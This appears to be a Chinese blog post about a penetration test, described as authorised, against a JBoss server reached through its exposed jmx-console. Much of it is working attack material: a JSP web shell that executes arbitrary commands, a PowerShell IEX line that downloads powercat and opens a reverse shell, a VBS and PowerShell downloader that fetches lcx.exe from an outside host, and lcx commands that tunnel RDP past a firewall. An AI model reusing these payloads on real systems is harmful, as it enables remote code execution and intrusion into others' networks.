电子说
一.前言
最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在次分享一下
先通过namp进行扫描,同时进行目录扫描,发现8080/jmx-console/,发现是jboss的站,百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/
全局搜索jboss.system,点击进入

//gg.jsp <%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title>title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("
"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println(""); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> body> html> 我这里就用python 简单创建个ftp服务(这也是python的一个巧用)
python -m SimpleHTTPServer 8589





powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd








echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:WindowsTemp2.txt",2 >>download.vbspowershell 下载代码powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:WindowsTemp2.txt')7.当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里8.lcx命令如下lcx 命令//被攻击机器 lcx -slave 自己外网ip 51 内网ip 3389 //攻击机器 lcx.exe -listen 51 9090由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.lcx -tran 53 目标主机ip 3389虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力。
审核编辑 :李倩
全部0条评论
快来发表一下你的评论吧 !